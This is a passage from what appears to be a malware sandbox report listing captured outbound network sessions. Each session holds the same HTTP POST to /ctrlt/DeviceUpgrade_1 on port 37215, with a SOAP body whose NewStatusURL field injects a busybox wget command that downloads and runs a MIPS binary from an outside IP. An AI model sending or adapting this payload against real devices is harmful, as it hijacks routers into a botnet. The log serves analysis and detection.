xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.179 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 22, 2024 04:02:31.512660980 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 37 2e 31 37 39 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.179 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 22, 2024 04:02:33.260705948 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 37 2e 31 37 39 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.179 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 22, 2024 04:02:36.756674051 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 37 2e 31 37 39 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.179 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 22, 2024 04:02:43.756701946 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 37 2e 31 37 39 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.179 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 22, 2024 04:02:57.740850925 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 37 2e 31 37 39 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.179 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 22, 2024 04:03:25.740766048 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 37 2e 31 37 39 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.179 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
70	192.168.2.20	37692	156.93.225.9	37215

Timestamp	Bytes transferred	Direction	Data
Jan 22, 2024 04:02:30.161856890 CET	827	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 37 2e 31 37 39 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.179 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
71	192.168.2.20	41968	94.123.54.147	37215

Timestamp	Bytes transferred	Direction	Data
Jan 22, 2024 04:02:32.562443972 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 37 2e 31 37 39 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.179 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
72	192.168.2.20	59352	156.77.139.233	37215

Timestamp	Bytes transferred	Direction	Data
Jan 22, 2024 04:02:32.665766001 CET	827	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 37 2e 31 37 39 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.179 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
73	192.168.2.20	54768	94.121.74.169	37215

Timestamp	Bytes transferred	Direction	Data
